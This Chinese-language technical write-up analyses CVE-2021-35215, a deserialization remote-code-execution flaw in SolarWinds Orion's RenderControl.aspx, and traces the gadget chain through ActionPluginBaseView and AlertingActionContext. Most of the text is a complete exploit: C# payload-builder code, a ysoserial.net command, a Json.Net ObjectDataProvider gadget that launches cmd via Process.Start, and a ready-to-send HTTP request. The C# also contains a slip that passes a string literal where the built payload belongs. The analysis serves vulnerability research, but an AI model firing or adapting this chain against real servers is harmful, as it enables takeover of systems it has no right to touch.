SolarWinds Orion Platform ActionPluginBaseView 反序列化 (CVE-2021–35215)
分析
https://testbnull.medium.com/50-shades-of-solarwinds-orion-deserialization-part-1-cve-2021-35215-2e5764e0e4f2
https://xz.aliyun.com/t/10413
该漏洞存在于 SolaWinds Orion Platform Core 版本, 即所有基于 Orion 的产品都会受到影响
入口点位于 /Orion/RenderControl.aspx.cs
LoadJsonData 解析 POST 数据
方法内部将其反序列化为 Dictionary 字典, 虽然使用了 JavaScriptSerializer, 但是并没有 SImpleTypeResolver, 因此不会调用任意 setter
后续先从字典中取出 Control 的值, 然后根据其内容分别调用 Activator.CreateInstance 或 loadControl 方法
https://learn.microsoft.com/zh-cn/dotnet/api/system.web.ui.templatecontrol.loadcontrol
loadControl 属于 .NET 内部类 TemplateControl 的方法, 作用是根据指定的虚拟路径从文件加载 Control 对象 (即 ascx 文件)
加载 control 对象后调用 ApplyPropertiesAndAttributes
获取 config 的内容, 然后传入 SetProperties
内部会取出 key 和 value, 然后使用反射设置属性 (Property)
在 .NET 中属性其实就是字段 + getter/setter, 所以上述过程会调用任意控件 (继承 System.Web.UI.Control) 的 setter
作者的思路是找到某个继承 System.Web.UI.Control 的类, 其属性的 setter 方法内部存在恶意操作
最终的 gadget 为 SolarWinds.Orion.Web.Actions.ActionPluginBaseView, 继承关系如下
Control -> TemplateControl -> UserControl -> ActionBaseView -> ActionPluginBaseView
其 ViewContextJsonString 属性
调用 ParseViewContext
内部使用 Json.Net 的 JsonConvert.DeserializeObject 进行反序列化, 并且开启了 TypeNameHandling
https://www.yuque.com/x1r0z/dotnet/bphie9piqo1htqee#wQYrl
当 DeserializeObject 指定泛型类型时其实不存在直接的反序列化漏洞, 思路是寻找指定类是否存在 object 类型的属性/字段
关注 AlertingActionContext, 其父类为 ActionContextBase
存在 MacroContext 属性
MacroContext 存在 Contexts 属性, 其类型为List<ContextBase>
ContextBase 是一个抽象类, 但是它存在 KnownType 属性
KnownType 特性用于 DataContractSerializer, 对于 Json.Net 其实没有什么用, 不过这里相当于间接说明了 ContextBase 的几个子类
关注 SwisEntityContext
EntityProperties 属性的类型为 PropertyBag
PropertyBag 继承了 Dictionary<string, object
, 因此可以存放 object 类型的对象
至于最开始的 control 对象, 因为 ActionPluginBaseView 属于抽象类无法被实例化 (Activator.CreateInstance), 因此需要在网站目录下找到一个继承了 ActionPluginBaseView 的控件 (ascx)
即 ~/Orion/Actions/Controls/CustomPropertyView.ascx
总结:
- 利用入口点的 JavaScriptSerializer 受限反序列化控制待加载的控件 (Control)
- 根据程序本身逻辑实现任意调用控件属性 setter
- 找到一个位于 SolarWinds 代码库的控件 ActionPluginBaseView, 其 setter 方法能够实现 Json.Net 反序列化 (类型为 AlertingActionContext)
- 寻找 AlertingActionContext 的某个能够放入 object 类型的字段, 实现 RCE
最后把上面的流程串起来, 构造 payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
using Newtonsoft.Json;
using SolarWinds.InformationService.Contract2;
using SolarWinds.Orion.Core.Models.Actions.Contexts;
using SolarWinds.Orion.Core.Models.MacroParsing;
using System;
using System.Collections.Generic;
using System.Web.Script.Serialization;
namespace SolarWindsDemo
{
internal class Program
{
static void Main(string[] args)
{
PropertyBag propertyBag = new PropertyBag();
propertyBag.Add("test", "<ObjectDataProvider-payload>");
SwisEntityContext swisEntityContext = new SwisEntityContext();
swisEntityContext.EntityProperties = propertyBag;
MacroContext macroContext = new MacroContext();
macroContext.Add(swisEntityContext);
AlertingActionContext alertingActionContext = new AlertingActionContext();
alertingActionContext.MacroContext = macroContext;
JsonSerializerSettings settings = new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.Objects,
};
string viewContextJsonString = JsonConvert.SerializeObject(alertingActionContext, settings);
Console.WriteLine(viewContextJsonString);
Dictionary<string, object> props = new Dictionary<string, object>();
props.Add("EnviromentType", "Alerting");
props.Add("ViewContextJsonString", "viewContextJsonString");
Dictionary<string, object> dict = new Dictionary<string, object>();
dict.Add("Control", "SolarWinds.Orion.Web.Actions.ActionPluginBaseView");
dict.Add("config", props);
JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
string data = javaScriptSerializer.Serialize(dict);
Console.WriteLine(data);
}
}
}
|
ysoserial.net
1
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c calc.exe
|
AlertingActionContext json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
{
"$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models",
"ExecutionMode": 0,
"EnviromentType": 0,
"EntityType": null,
"EntityUri": null,
"EntityUris": null,
"IsGlobalAlert": false,
"AlertContext": {
"$type": "SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models",
"AlertName": null,
"CreatedBy": null
},
"AlertActiveId": null,
"AlertObjectId": null,
"NetObjectData": null,
"ObjectDataExists": false,
"MacroContext": {
"$type": "SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1",
"contexts": [{
"$type": "SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1",
"DisplayName": "Net object properties",
"EntityType": null,
"EntityUri": null,
"EntityProperties": {
"$type": "SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2",
"test": {
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c calc.exe"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
}
}]
}
}
|
payload
1
2
3
4
5
6
7
|
{
"Control": "~/Orion/Actions/Controls/CustomPropertyView.ascx",
"config": {
"EnviromentType": "Alerting",
"ViewContextJsonString": "{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models\",\"ExecutionMode\":0,\"EnviromentType\":0,\"EntityType\":null,\"EntityUri\":null,\"EntityUris\":null,\"IsGlobalAlert\":false,\"AlertContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models\",\"AlertName\":null,\"CreatedBy\":null},\"AlertActiveId\":null,\"AlertObjectId\":null,\"NetObjectData\":null,\"ObjectDataExists\":false,\"MacroContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1\",\"contexts\":[{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1\",\"DisplayName\":\"Net object properties\",\"EntityType\":null,\"EntityUri\":null,\"EntityProperties\":{\"$type\":\"SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2\",\"test\":{\"$type\":\"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\",\"MethodName\":\"Start\",\"MethodParameters\":{\"$type\":\"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\"$values\":[\"cmd\",\"/c calc.exe\"]},\"ObjectInstance\":{\"$type\":\"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}}}}]}}"
}
}
|
http
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
POST /Orion/RenderControl.aspx HTTP/1.1
Host: 192.168.145.128:8787
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: __AntiXsrfToken=9e4ee1600ab144c6b867bae9a067f247; _ga=GA1.1.638848863.1707451391; _gid=GA1.1.286156450.1707451391; ASP.NET_SessionId=ru2amuqahk5gab5wlwb2jv1d; XSRF-TOKEN=a8lMFZBNIC9MkPR2aLYQrmiiO/ZdP1gwmLk1tWvhbkA=; _ga_L3BL75GKSG=GS1.1.1707458842.2.1.1707460610.0.0.0; .ASPXAUTH=8C80E91618194E231477BE1CB125B9555D3F29FF006E35D78ECB7306644E9F15EA3C4003FA1AC95A00950A084E4CBD0A1E251859AB225F2740C93CE5F9D38FF1A2A43423D4E82ED3BC1D84037B08D590002BF593E1527E2D5E463F1BEE761C74B29E4C277C48895BBED2AD2BCBC3D8B909878BC82F41E5BA9916A156E9CEF1A63A2ED260512F2D1E8537E2A8C6598AEEAD1873E487EDE3A15FC2D348AACE0E88B7E6E90A38D6B9183B7CB40100512051
Connection: close
Content-Type: application/json
Content-Length: 1624
{
"Control": "~/Orion/Actions/Controls/CustomPropertyView.ascx",
"config": {
"EnviromentType": "Alerting",
"ViewContextJsonString": "{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models\",\"ExecutionMode\":0,\"EnviromentType\":0,\"EntityType\":null,\"EntityUri\":null,\"EntityUris\":null,\"IsGlobalAlert\":false,\"AlertContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models\",\"AlertName\":null,\"CreatedBy\":null},\"AlertActiveId\":null,\"AlertObjectId\":null,\"NetObjectData\":null,\"ObjectDataExists\":false,\"MacroContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1\",\"contexts\":[{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1\",\"DisplayName\":\"Net object properties\",\"EntityType\":null,\"EntityUri\":null,\"EntityProperties\":{\"$type\":\"SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2\",\"test\":{\"$type\":\"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\",\"MethodName\":\"Start\",\"MethodParameters\":{\"$type\":\"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\"$values\":[\"cmd\",\"/c calc.exe\"]},\"ObjectInstance\":{\"$type\":\"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}}}}]}}"
}
}
|